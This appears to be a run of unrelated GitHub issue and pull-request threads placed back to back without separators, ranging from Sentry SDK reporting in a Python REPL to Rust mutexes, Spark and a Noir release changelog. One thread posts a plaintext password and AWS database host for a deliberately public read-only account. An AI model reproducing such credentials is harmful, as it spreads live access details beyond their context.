Sending a test error as per "Configure Python SDK" instructions doesn't work but sending from another thread does work

Self-Hosted Version
24.1.0 and 24.1.1
CPU Architecture
x86_64
Docker Version
Docker version 24.0.7, build afdd53b
Docker Compose Version
2.11.1
Steps to Reproduce

Clone repo
Run install.sh
Add the system.url-prefix variablewith the value of your domain in your sentry/config.yml
docker-compose up -d

Expected Result
Successful sending of test errors using the Python SDK as described in "Configure Python SDK"
Actual Result
Nothing is recorded in the logs of nginx or the web container when sending the error by following the instructions but this works:
import sentry_sdk

sentry_sdk.init(...)

# does not work
division_by_zero = 1 / 0

# works
import threading
t = threading.Thread(target=lambda: 1/0, args=())
t.start()

Our Sentry is deployed on a server behind a reverse proxy (AWS NLB). We also tried with the version 24.1.1 without the NLB.
Event ID
No response

Hey @Erokos, thanks for writing in.
What does your sentry_sdk.init look like? If you just followed the setup example I assume you have this, correct?
sentry_sdk.init(
    dsn="<YOUR DSN>",
    traces_sample_rate=1.0,
    profiles_sample_rate=1.0,
)

Can you try adding debug=True to the init and running the example without the thread part? You should get some debug logs on startup; can you see something like this?
 [sentry] DEBUG: Sending envelope [envelope with 1 items (error)] project:<PROJECT_ID> host:<HOSTNAME>

Hi @sentrivana! Thank you for your response. We've tried that and dug a bit deeper with a number of experiments to both our self-hosted and SaaS. Turns out we get the same results on both. When sending via the CLI we see the errors in both Sentries but when using the Python SDK from the Python CLI that doesn't work even though it says it sent the event. However the same code WORKS when used from a file, ran as a script or a program so our services send events to our self-hosted Sentry successfully.
I don't understand this behavior and the docs should be updated accordingly.

This is indeed strange.
Do I get this right:
a) when you run the code in Python CLI then it does NOT work (but the debug log says  [sentry] DEBUG: Sending envelope [envelope with 1 items (error)] project:<PROJECT_ID> host:<HOSTNAME>
b) when you run the same code in a file (something like python mytest.py) then the error IS sent?
maybe there is an SENTRY_DSN environment variable set somewhere?
Can you do this in both your scenarios:
from sentry_sdk import Hub
print(Hub.current.client.options.get("dsn"))

And check if the DSN is the same in both cases?

I'm having a similar issue with the basic Python getting started example found here. Here's the code snippet:
import sentry_sdk

sentry_sdk.init(
    dsn=DSN,

    # Enable performance monitoring
    enable_tracing=True,
)
division_by_zero = 1 / 0

I've tested with debug=True and haven't found the Sending envelope debug message. Uncaught exceptions don't get reported, but explicit reporting with sentry_sdk.capture_exception and the logging module work just fine. The Flask example also works fine with the same DSN (so same project, same settings).
from flask import Flask
import sentry_sdk

sentry_sdk.init(
    dsn=DSN,

    # Enable performance monitoring
    enable_tracing=True,
)

app = Flask(__name__)

@app.route('/')
def hello_world():
    1/0  # raises an error
    return "
Hello, World!
"

Hey @stefan-ptrvch !
Thanks for the sample code and explanation!
I have tried this now with this project: https://github.com/antonpirker/testing-sentry/tree/main/test-plain-python
My debug out put is this:
 [sentry] DEBUG: Setting up integrations (with default = True)
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.aiohttp.AioHttpIntegration: AIOHTTP not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.boto3.Boto3Integration: botocore is not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.bottle.BottleIntegration: Bottle not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.celery.CeleryIntegration: Celery not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.django.DjangoIntegration: Django not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.falcon.FalconIntegration: Falcon not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.fastapi.FastApiIntegration: Starlette is not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.flask.FlaskIntegration: Flask is not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.httpx.HttpxIntegration: httpx is not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.openai.OpenAIIntegration: OpenAI not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.pyramid.PyramidIntegration: Pyramid not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.rq.RqIntegration: RQ not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.sanic.SanicIntegration: Sanic not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.sqlalchemy.SqlalchemyIntegration: SQLAlchemy not installed.
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.starlette.StarletteIntegration: Starlette is not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.tornado.TornadoIntegration: Tornado not installed
 [sentry] DEBUG: Setting up previously not enabled integration argv
 [sentry] DEBUG: Setting up previously not enabled integration atexit
 [sentry] DEBUG: Setting up previously not enabled integration dedupe
 [sentry] DEBUG: Setting up previously not enabled integration excepthook
 [sentry] DEBUG: Setting up previously not enabled integration logging
 [sentry] DEBUG: Setting up previously not enabled integration modules
 [sentry] DEBUG: Setting up previously not enabled integration stdlib
 [sentry] DEBUG: Setting up previously not enabled integration threading
 [sentry] DEBUG: Setting up previously not enabled integration redis
 [sentry] DEBUG: Did not enable default integration redis: Redis client not installed
 [sentry] DEBUG: Enabling integration argv
 [sentry] DEBUG: Enabling integration atexit
 [sentry] DEBUG: Enabling integration dedupe
 [sentry] DEBUG: Enabling integration excepthook
 [sentry] DEBUG: Enabling integration logging
 [sentry] DEBUG: Enabling integration modules
 [sentry] DEBUG: Enabling integration stdlib
 [sentry] DEBUG: Enabling integration threading
 [sentry] DEBUG: Setting SDK name to 'sentry.python'
Traceback (most recent call last):
  File "/Users/antonpirker/code/testing-sentry/test-plain-python/main.py", line 12, in <module>
    division_by_zero = 1 / 0
ZeroDivisionError: division by zero
 [sentry] DEBUG: atexit: got shutdown signal
 [sentry] DEBUG: atexit: shutting down client
 [sentry] DEBUG: Flushing HTTP transport
 [sentry] DEBUG: background worker got flush request
 [sentry] DEBUG: Sending envelope [envelope with 1 items (error)] project:5461230 host:o447951.ingest.sentry.io
 [sentry] DEBUG: 2 event(s) pending on flush
Sentry is attempting to send 2 pending events
Waiting up to 2 seconds
Press Ctrl-C to quit
 [sentry] DEBUG: background worker flushed
 [sentry] DEBUG: Killing HTTP transport
 [sentry] DEBUG: background worker got kill request

And the error is captured by Sentry:

So I can not reproduce your problem...
Could you post your debug output here, maybe it tells us something? Thanks!

Hi @antonpirker, thanks for the help!
I've run your example and it worked!
What I've found after further testing is that the event doesn't get sent if the error is raised interactively in the Python REPL. For instance, if I manually type out or copy-paste the code from your example, or even if I run run main.py inside an IPython REPL, the error doesn't get reported (no sending envelope debug message). I've tested regular Python REPL and IPython REPL. Here's what I get when I start IPython, run main.py and then manually quit.
(base) (.venv) ➜  test-plain-python git:(main) ✗ ipython
Python 3.12.2 | packaged by Anaconda, Inc. | (main, Feb 27 2024, 12:57:28) [Clang 14.0.6 ]
Type 'copyright', 'credits' or 'license' for more information
IPython 8.22.2 -- An enhanced Interactive Python. Type '?' for help.

In [1]: run main.py
 [sentry] DEBUG: Setting up integrations (with default = True)
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.aiohttp.AioHttpIntegration: AIOHTTP not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.boto3.Boto3Integration: botocore is not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.bottle.BottleIntegration: Bottle not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.celery.CeleryIntegration: Celery not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.django.DjangoIntegration: Django not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.falcon.FalconIntegration: Falcon not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.fastapi.FastApiIntegration: Starlette is not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.httpx.HttpxIntegration: httpx is not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.openai.OpenAIIntegration: OpenAI not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.pyramid.PyramidIntegration: Pyramid not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.rq.RqIntegration: RQ not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.sanic.SanicIntegration: Sanic not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.sqlalchemy.SqlalchemyIntegration: SQLAlchemy not installed.
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.starlette.StarletteIntegration: Starlette is not installed
 [sentry] DEBUG: Did not import default integration sentry_sdk.integrations.tornado.TornadoIntegration: Tornado not installed
 [sentry] DEBUG: Setting up previously not enabled integration argv
 [sentry] DEBUG: Setting up previously not enabled integration atexit
 [sentry] DEBUG: Setting up previously not enabled integration dedupe
 [sentry] DEBUG: Setting up previously not enabled integration excepthook
 [sentry] DEBUG: Setting up previously not enabled integration logging
 [sentry] DEBUG: Setting up previously not enabled integration modules
 [sentry] DEBUG: Setting up previously not enabled integration stdlib
 [sentry] DEBUG: Setting up previously not enabled integration threading
 [sentry] DEBUG: Setting up previously not enabled integration flask
 [sentry] DEBUG: Setting up previously not enabled integration redis
 [sentry] DEBUG: Did not enable default integration redis: Redis client not installed
 [sentry] DEBUG: Enabling integration argv
 [sentry] DEBUG: Enabling integration atexit
 [sentry] DEBUG: Enabling integration dedupe
 [sentry] DEBUG: Enabling integration excepthook
 [sentry] DEBUG: Enabling integration logging
 [sentry] DEBUG: Enabling integration modules
 [sentry] DEBUG: Enabling integration stdlib
 [sentry] DEBUG: Enabling integration threading
 [sentry] DEBUG: Enabling integration flask
 [sentry] DEBUG: Setting SDK name to 'sentry.python.flask'
---------------------------------------------------------------------------
ZeroDivisionError                         Traceback (most recent call last)
File ~/Desktop/projects/ikea-crawler/testing-sentry/test-plain-python/main.py:12
      3 import sentry_sdk
      6 sentry_sdk.init(
      7     dsn=os.environ["SENTRY_DSN"],
      8     enable_tracing=True,
      9     debug=True,
     10 )
---> 12 division_by_zero = 1 / 0

ZeroDivisionError: division by zero

In [2]:
Do you really want to exit ([y]/n)?
 [sentry] DEBUG: atexit: got shutdown signal
 [sentry] DEBUG: atexit: shutting down client
 [sentry] DEBUG: Flushing HTTP transport
 [sentry] DEBUG: background worker got flush request
 [sentry] DEBUG: background worker flushed
 [sentry] DEBUG: Killing HTTP transport
 [sentry] DEBUG: background worker got kill request
(base) (.venv) ➜  test-plain-python git:(main) ✗

Another thing I found:

python main.py -> reports error
ipython main.py -> doesn't report error

The way the getting started section for the plain Python setup is written(https://docs.sentry.io/platforms/python/), it kind of makes you automatically copy-paste the code into the REPL, but it seems to not work if you do it this way.
Also, maybe this is somehow related to @Erokos example. If you run his code in the REPL the first snipped doesn't report the error but the second one does.

The same thing as my colleague and I have reported, works from a script, i.e. program but not from the interactive python shell.

Thank you folks -- I think we just need to clarify that the code won't run from the (I)Python shell in the docs and in Sentry when you create a new project. I can take care of this.

That sounds great, thanks!

Added a note to the Getting Started docs. We also link to this page from the project set up wizard in Sentry, so hopefully this will be discoverable; if not, we can also add it to the wizard directly later.


Setting 'cofPluginVersion' should be done automatically

I have been notified that you would appreciate setting the 'cofPluginVersion' so that you can track the requests and see what version of the plugin is being used.
But wouldn't it be easier to have the correct version set as default in the Client.php file. Otherwise you are relying on people remembering to update the version where the Client constructor is being called. If the package itself would include it and pass it along it would be easier for those who use the sdk and also it would contain a little bit more reliable version information since you are not depending on us to make sure it is up to date.
Also a follow-up question, am I correct in thinking that the 'cofPluginVersion' is the version specified in the generated composer.lock file?

Hi there.
As some parties use this library to create their own implementations to interact with the Checkout API, for statistics and support cases it is better to have a unique version for each implementation to keep better tracks of things. That being said, if each implementation would just use the fallback value, then debugging / helping out customers will be a bit more troublesome. With the implementation specific version identifiers this becomes a lot easier.
For SaaS services, use the marketing name of the platform. For eCommerce platform plugins, use the platform name, your identifier, and plugin version (for example, woocommerce-yourcompany-1.1.0). Platform information helps customer service to provide better assistance for the merchants using the plugin.
For the follow up question: No it's not. As explained above, the version should reflect the service that is using the library.
In the upcoming release the version identifier will be a mandatory parameter to the Client instance constructor.

Okay! Now I think I get it. Probably in our case when we are using the SDK without any specific ready plugin we should just set the plugin cofPluginVersion as '[ourmarketingname]-1.0'. I get that this will make it easier for customer service to assist when being able to match requests to the correct version.
Thank you for clearing this up!


Add/libs

Overview
What’s going on in this PR?
Changelog
Related Pull Requests

Codecov Report

Merging #152 (ead9fd3) into master (fc3674c) will decrease coverage by 32.07%.
The diff coverage is 8.11%.

@@            Coverage Diff             @@
##           master    #152       +/-   ##
==========================================
- Coverage   37.53%   5.46%   -32.08%
==========================================
  Files          63     171      +108
  Lines         698   13338    +12640
  Branches       18     469      +451
==========================================
+ Hits          262     729      +467
- Misses        436   12609    +12173

Impacted Files
Coverage Δ

.../main/scala/com/mathbot/pay/FiatRatesService.scala
0.00% <0.00%> (ø)

.../main/scala/com/mathbot/pay/SecureIdentifier.scala
0.00% <0.00%> (ø)

src/main/scala/com/mathbot/pay/Sensitive.scala
0.00% <ø> (ø)

...com/mathbot/pay/bitcoin/BitcoinJsonRpcClient.scala
33.70% <0.00%> (-2.01%)
:arrow_down:

...ain/scala/com/mathbot/pay/bitcoin/WalletInfo.scala
0.00% <ø> (ø)

.../mathbot/pay/lightning/LightningRequestError.scala
0.00% <0.00%> (ø)

...a/com/mathbot/pay/lightning/LightningService.scala
0.00% <0.00%> (ø)

...la/com/mathbot/pay/lightning/LightningStream.scala
42.85% <ø> (ø)

...mathbot/pay/lightning/LightningStreamService.scala
30.00% <ø> (ø)

...om/mathbot/pay/lightning/ListInvoicesRequest.scala
0.00% <0.00%> (ø)

... and 138 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fc3674c...ead9fd3. Read the comment docs.


Consider replacing std::sync::Mutex with parking_lot::Mutex

Mutex implementation in parking_lot is considered better than that of the std::sync and doesn't require unwrap()-ing lock() results. Other than that it is a drop-in replacement.
So the number of calls to unwrap() can be reduced.

parking_lot is coming to std in 1.36, so we can just wait and get it for free.

Well, not exactly. The std::sync::Mutex API is not going to change. Rather the underlying implementation will be based on parking_lot instead. So it will still require calling unwrap().
Up to you though.

Not sure what my position on poisoning is. It seems sensible that a Connection thread should not continue if the ConnectionDriver panicked.

... It seems sensible that a Connection thread should not continue if the ConnectionDriver panicked.

Well, I am definetly not qualified enough to judge on that.
I do, in general, try to avoid calling unwrap() in the library code, but rather handle the situation or flag the error and let the consumer decide what to do (panic for example).
So, that's the real reason behind this.
If panicing is considered a normal thing for this project than the change suggested in this issue is indeed not productive.

Quinn should never panic under sane circumstances, but if a lock is poisoned, that means we already panicked while the lock was held (i.e. internally) so it's a bit late to avoid that. Similarly, we rely on array indexing even though that can panic, because we should never be passing in an invalid index to begin with.

IMHO that's a risky assertion. However, you guys are driving this project, so you get to decide. If that'd be my call I'd set
#[deny(clippy::option_unwrap_used)]
#[deny(clippy::result_unwrap_used)]

first thing before even starting to code. This project is a very important piece of software.

FWIW, your comment reads as rather passive aggressive to me.
There are many potential sources of panic even just in std other than these unwrap() methods. Prohibiting unwrap() on Option and Result seems neither necessary nor sufficient to get to a functional library that doesn't panic in use. I would like to eventually get to a point where we have audited all uses of unwrap() for safety and document that, plus a comprehensive test suite.

FWIW, your comment reads as rather passive aggressive to me.

Sorry about that. That definetly was not intended.


revert [SPARK-21743][SQL] top-most limit should not cause memory leak

What changes were proposed in this pull request?
There is a performance regression in Spark 2.3. When we read a big compressed text file which is un-splittable(e.g. gz), and then take the first record, Spark will scan all the data in the text file which is very slow. For example, spark.read.text("/tmp/test.csv.gz").head(1), we can check out the SQL UI and see that the file is fully scanned.

This is introduced by #18955 , which adds a LocalLimit to the query when executing Dataset.head. The foundamental problem is, Limit is not well whole-stage-codegened. It keeps consuming the input even if we have already hit the limitation.
However, if we just fix LIMIT whole-stage-codegen, the memory leak test will fail, as we don't fully consume the inputs to trigger the resource cleanup.
To fix it completely, we should do the following

fix LIMIT whole-stage-codegen, stop consuming inputs after hitting the limitation.
in whole-stage-codegen, provide a way to release resource of the parant operator, and apply it in LIMIT
automatically release resource when task ends.

Howere this is a non-trivial change, and is risky to backport to Spark 2.3.
This PR proposes to revert #18955 in Spark 2.3. The memory leak is not a big issue. When task ends, Spark will release all the pages allocated by this task, which is kind of releasing most of the resources.
I'll submit a exhaustive fix to master later.
How was this patch tested?
N/A

cc @hvanhovell @rednaxelafx @viirya @gatorsmile

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution/4053/
Test PASSed.

Test build #91877 has started for PR 21573 at commit 2b20b3c.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/testing-k8s-prb-make-spark-distribution-unified/162/
Test PASSed.

Hmm, this LGTM, however it didn't catch up 2.3.1 release.

Test build #91877 has finished for PR 21573 at commit 2b20b3c.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/91877/
Test PASSed.

LGTM - Merging to 2.3. Thanks!
What is the process for master?

Ya, that's too bad to miss this in 2.3.1.

I'll send one or more PRs to master for the following things

automatically release resource when task ends.
fix LIMIT whole-stage-codegen, stop consuming inputs after hitting the limitation.
in whole-stage-codegen, provide a way to release resource of the parant operator, and apply it in LIMIT


Update Array of Type Mixed

Hi,
i'm currently trying to save an array of Informations inside a Log entry, but i just cant get it to work i want to lock the max Infomation saved to 20 rows, but it jsut doesnt work it just saves the new one... help please xD
here is my model:
var log = new mongoose.Schema({
    Info: Array,

    Type: {
        type:      String,
        "default": "undefined"
    },

    Class: {
        type:      String,
        "default": "undefined"
    },

    Message: {
        type:      String,
        "default": "undefined"
    },

    Counter: {
        type:      Number,
        "default": 0
    },

    Last: {
        type:      Date
    }
});

here is my code where i update:
logModel.findOne({
    Message: newEntry.Message
}, function (err, doc) {
    if ( doc ) {
        // This should lock the max length to 20 ...
        if(doc.Info.length > 20) {
            while(doc.Info.length >= 20) {
                doc.Info.shift();
            }
        }
        // add the new one...
        doc.Info.push(newEntry.Info[0]);
        doc.Counter++;
        doc.Last = newEntry.Info[0].Date;

        // mark modified
        doc.markModified("Info");
        doc.save(function (err, newdoc) {
            console.log(doc.Info.length, newdoc.Info.length);
            console.timeEnd('Processed Log Entry ' + currentNumber + '/' + data.length);
            callback();
        });
    } else {
        newEntry.Last = newEntry.Info[0].Date;
        newEntry.save(function (err) {
            console.timeEnd('Processed Log Entry ' + currentNumber + '/' + data.length);
            callback();
        });
    }
});

Just out of curiosity: Did you use connect-redis for that? How? Why? What? Where?

Ahh **** sorry ^^ wrong window wanted to post that in mongoose rofl ^^
i used connect redis somewhere else and it works fine :)

Close the issue quickly before tj comes to your house and makes you a chocolate milk!

hehe fg :D


3d parts and stepper motor assembly

Hi. I did not understand how you assembled the 3d parts and stepper motors. Where did you install the Fridans?

Take a look at this.

Far angle

@rohaizanr  Sorry. Could you make a similar circuit (working example) for ULN 2003 28BYJ-48?


Design Mockup Homepage

Carousel with Recipes from todays weekly plan

Random Recipe every time the home page gets opened


Improvements to the database accessibility

User feedback in https://github.com/greenelab/connectivity-search-backend/issues/74 highlighted some issues with the accessibility of our database. I updated the README in https://github.com/greenelab/connectivity-search-backend/commit/a6d558825af1bff9dd114cfff543cb220c38464e, but there are still several improvements I'd like to make.

publicly archiving hetmech-pg_dump.sql.gz. I will look into whether we can upload this to Zenodo.

adding instructions to the readme on how to load hetmech-pg_dump.sql.gz. @dongbohu can you do this?

creating a read-only database user and making the database URL and this user and password public knowledge. This will make it much easier for us to share queries since we can give anyone read access to the database. Also there is code in Hetmech that directly queries the db, and these notebooks are not reproducible without access.
The database doesn't contain any sensitive information, so I think the risk of abuse is low. We can always disable the read-only user if there is some unintended consequence like excessive cloud costs. @dongbohu, we might already have a read-only user, but can you look into this and provide the details?

@dhimmel Do you already have hetmech-pg_dump.sql.gz available somewhere? If you do, I can modify the readme file.
I forgot whether the read-only user account is still valid. I will create one if not. Do you think we should put this account credential to readme file too?

@dhimmel: Currently the size of the hetmech Postgres database is ~55 GB. Instead of generating a pg_dump file, do you think it will be better to generate a Postgres docker image and publish it on docker hub? It will be probably easier for user to set up, and we don't have to make the read-only account public any more.
By the way, I did find the read-only-user account and it still works.

Do you already have hetmech-pg_dump.sql.gz available somewhere?

It was on my Greene Lab workstation. I was able to use this script to upload the file to our Zenodo deposit. So the file is now available at https://zenodo.org/record/3978766. I renamed it to connectivity-search-pg_dump.sql.gz so it matches this repository's name.

Do you think we should put this account credential to readme file too?

Yes the README or in this file, perhaps under public_db:
https://github.com/greenelab/connectivity-search-backend/blob/a6d558825af1bff9dd114cfff543cb220c38464e/dj_hetmech/secrets-template.yml#L1-L6
Let's make sure the username is self-documenting (if I remember it contains read_only right?)

Instead of generating a pg_dump file, do you think it will be better to generate a Postgres docker image and publish it on docker hub?

And include the entire database in the image or have the container load the database upon launch? I think there's a big benefit to the public-read-only user because it has the least overhead and requires the least infrastructure for users.

We'll probably want to make it so we can use search-db.het.io as the database URL by making an alias record to the AWS address. This way if we ever change the AWS address, we can just remap that URL. And it's easier to remember.

@dongbohu can you comment here with the read-only user access details. Basically what values to fill in for:
https://github.com/greenelab/connectivity-search-backend/blob/a6d558825af1bff9dd114cfff543cb220c38464e/dj_hetmech/secrets-template.yml#L2-L6
And regarding the database host URL is that stable such that we could make search-db.het.io point to it?

@dhimmel: I have been working on something else and totally forgot this issue. Will do it sometime next week.

@dhimmel:
name: dj_hetmech
user: read_only_user
password: tm8ut9uzqx7628swwkb9
host: hetmech-db.cobepk65dd7j.us-east-1.rds.amazonaws.com
port: 5432

The database host URL is stable now. Feel free to create alias.

Added a DNS record at
search-db 1800 IN CNAME hetmech-db.cobepk65dd7j.us-east-1.rds.amazonaws.com.

Now if I run nslookup search-db.het.io, I get:
Server:		<IP_ADDRESS>
Address:	<IP_ADDRESS>#53

Non-authoritative answer:
search-db.het.io	canonical name = hetmech-db.cobepk65dd7j.us-east-1.rds.amazonaws.com.
hetmech-db.cobepk65dd7j.us-east-1.rds.amazonaws.com	canonical name = ec2-3-208-187-112.compute-1.amazonaws.com.
Name:	ec2-3-208-187-112.compute-1.amazonaws.com
Address: <IP_ADDRESS>


Overlapping region errors thrown instead of logged

Recast4j throws an error any time there are overlapping regions.  This prevents completion of the Recast4j process, making it difficult to debug overlapping regions because there is no way to get to data visualization to inspect where overlapping regions are.
In Recast C++ the same code only logs an error.  I changed the same line in Recast4j to a println  and the rest of the Recast4j process worked fine even with the overlapping regions.
The C++ version (RecastRegion.cpp):
// If overlapping regions were found during merging, split those regions.
if (overlaps.size() > 0)
{
    ctx->log(RC_LOG_ERROR, "rcBuildRegions: %d overlapping regions.", overlaps.size());
}

The Recast4j version (RecastRegion.java):
// If overlapping regions were found during merging, split those regions.
if (overlaps.size() > 0) {
    throw new RuntimeException("rcBuildRegions: " + overlaps.size() + " overlapping regions.");
}

I would have provided an optional PR but don't know what method of logging would be preferable.  println is fine for my needs but not the most universal solution.  I see logback is being used in the Recast4j demo module, though it's not in the main modules and its nice that the recast and detour modules have no external production dependencies.
Maybe there's a better solution than logging?  Maybe returning an error object, C-Style?

Thank you very much. Would you mind creating a PR as well? For now, I think we can simply do what is done in other parts and use ctx.warn() to log a warning.


[Search] Update for missing properties

Closes #21196

API changes have been detected in azure-search-documents. You can review API changes here


Warnings as errors for fuzz build

I couldn't find any way to achieve the same effect as cargo build -D warnings with fuzz build, but it's a handy thing to have, especially in CI.

Fair point! Thanks for the suggestion


Override the original font

I tried overriding the font style in markdown, and it seems to have worked.

@Guocork thanks for working on this, however @jmbejar hadn't seen that you were on it so his PR has already fixed the issue. There's a slight difference in that the final decision was to use Makepad fonts only.
No other changes are needed.


View not refreshing on selecting the product attributes from the left side bar

View not refreshing on selecting the product attributes from the left side bar
.
Not sure what to do for this. I have setup a saleor and made changes as instructed in the document.
Can you let me know what I am missing ?

@codalprashant Do you mean filters on  Category Page view? They work dynamically only on our demo store, where they're build on react.
Master branch still uses Django Views, which means that after choosing filters, you need to click 'Update' button.
We are planning to rebuild whole storefront into SPA further this year(planned for July 2018).
You can check our current roadmap at https://github.com/mirumee/saleor/projects/6

@Pacu2 Yes, I am talking about the filters on Category Page view. May I know what alternate I can use if you have any in saleor ?

@codalprashant There's none as long as I'm concerned, you might take a look at the demo branch which is React-powered, and work it up from there.

@codalprashant if you want, you/ we could do like newegg.com does while waiting for the react frontstore.
To explain, when selecting an attribute, newegg show a apply button at the end of the selected attribute values. The button applies all selected property values (which means, you can select multiple properties and click on any of the apply buttons).
But I feel like it's not... The good way. At least, it makes the user think that they have to apply each selected value.
My solution, that I currently use on production, is to show a Update (apply) button at the top of the filters, in addition to the bottom one when there more than 3 properties. So the user doesn't have to scroll to the bottom to apply. There are a lot of chances that the apply button is always visible, or at least close front the user viewpoint.


Core API Reference

Hello all,
We've added a new core API reference:

GitHub
Read The Docs

It's mostly intended for Python users but also has links to jump to the C++ function definitions too.
Please let us know if this is helpful, if it's missing anything, or if you have any other suggestions.

Whoops, the Python links in the Read the Docs don't work. Stay tuned! =)

Whoops, the Python links in the Read the Docs don't work. Stay tuned! =)

Turned out to be a known issue with sphinx-markdown-tables. Fixed now!


Prepare release

Should @LinguList also be added as Editor here?

I did the orthoprofiles in all cases, but I don't need to be an editor.


changes to make cunn compile on windows with msvc

Hi,
This PR is to get cunn compile with msvc (at least with msvc19, the latest one).
Thanks,

Thanks!


Update and fix appveyor

Updated node versions for appveyor; Everything below node 8 was failing with Object.entries not a function.
I added -u option to appveyor test because snapshots from linux and windows do not play nice it seems. Windows didn't want the expected shell files, and linux does with the test. the u will update the snapshot for the tests. This is def a work around not sure what the best solution is for this problem. Possibly separating snapshots for windows and linux?
updated dif-compare package, and also updated how are calling it to match what documentation they had on npm site.

@jondot what are your thoughts on this?

closing due to inactivity


chore(github-template): update issue template

Codecov Report

Merging #12 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff          @@
##           master    #12   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files           2      2
  Lines          39     39
=====================================
  Hits           39     39

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c9d4adf...ed5544c. Read the comment docs.


Support comments in tsconfig.json

Pipe through jsmin before sending to JSON.parse. Depending upon status of https://github.com/Microsoft/TypeScript/issues/3079

Yes, please!
Somebody just changed
"removeComments": false
to
"removeComments": true
and broke minification of our angular app.
I really want to write
"removeComments": false, // Needed to make @ngInject comment work for ng-annotate


[pulsar-broker] Introduce publish rate-limiting on topic

Motivation
It addresses  #3985 by introducing publish rate-limiting on the topic.

retest this please

rerun java8 tests
rerun integration tests

do we need this for 2.4.0 or shall we move it to 2.5.0?

@rdhabalia I moved this feature to 2.5.0. If it is needed in 2.4.0, please move it back :-)

rerun java8 tests

@merlimat can you also review this PR before we merge? we have need of this feature so, want to merge if possible.

rerun java8 tests

rerun java8 tests

rerun java8 tests

rerun java8 tests
rerun integration tests

Change the Milestone to 2.4.2, because of conflict.


chore(master): Release 0.45.0

:robot: I have created a release beep boop
aztec-package: 0.45.0
0.45.0 (2024-07-02)
Bug Fixes

Devnet deployment issues (#7197) (9cf4904)

barretenberg.js: 0.45.0
0.45.0 (2024-07-02)
Miscellaneous

barretenberg.js: Synchronize aztec-packages versions

aztec-packages: 0.45.0
0.45.0 (2024-07-02)
⚠ BREAKING CHANGES

error on too large integer value (https://github.com/noir-lang/noir/pull/5371)
rename struct-specific TypeDefinition -> StructDefinition (https://github.com/noir-lang/noir/pull/5356)
extend storage read oracle to receive address and block number (#7243)
split storage access oracles (#7237)
remove dep:: prefix (https://github.com/noir-lang/noir/pull/4946)

Features

mod.nr entrypoint (https://github.com/noir-lang/noir/pull/5039) (bb5cbab)
static_assert builtin (https://github.com/noir-lang/noir/pull/5342) (eb9e9f6)
Add map, fold, reduce, any, and all for slices (https://github.com/noir-lang/noir/pull/5331) (f2abb4e)
Add set and set_unchecked methods to Vec and BoundedVec (https://github.com/noir-lang/noir/pull/5241) (ed815a3)
Add BoundedVec::map (https://github.com/noir-lang/noir/pull/5250) (ed815a3)
Add fuzzer for Noir programs (https://github.com/noir-lang/noir/pull/5251) (ed815a3)
Add new lenses for encryted notes (#7238) (c07cf2c)
Add opcodes flamegraph and refactor gates flamegraph (#7282) (df3b27b)
Add outgoing keys support to getEvents (#7239) (77c304e)
Add support for wildcard types (https://github.com/noir-lang/noir/pull/5275) (ed815a3)
avm: Calldata gadget preliminaries (#7227) (79e8588)
Build simple dictionary from inspecting ACIR program (https://github.com/noir-lang/noir/pull/5264) (ed815a3)
Constant Honk proof sizes (#6954) (17c8d3a)
Disable nargo color output if stderr is tty (https://github.com/noir-lang/noir/pull/5346) (eb9e9f6)
docs: Macros explainer (#7172) (bb2ebfc)
Error on too large integer value (https://github.com/noir-lang/noir/pull/5371) (bb5cbab)
Example of private token transfer event (#7242) (99ce26f)
experimental: Implement macro calls & splicing into Expr values (https://github.com/noir-lang/noir/pull/5203) (ed815a3)
Extend storage read oracle to receive address and block number (#7243) (153b201)
frontend: Explicit numeric generics and type kinds (https://github.com/noir-lang/noir/pull/5155) (f2abb4e)
frontend: Where clause on impl (https://github.com/noir-lang/noir/pull/5320) (f2abb4e)
Function selector opcode in AVM (#7244) (dde47e9)
Implement comptime support for array_len builtin (https://github.com/noir-lang/noir/pull/5272) (ed815a3)
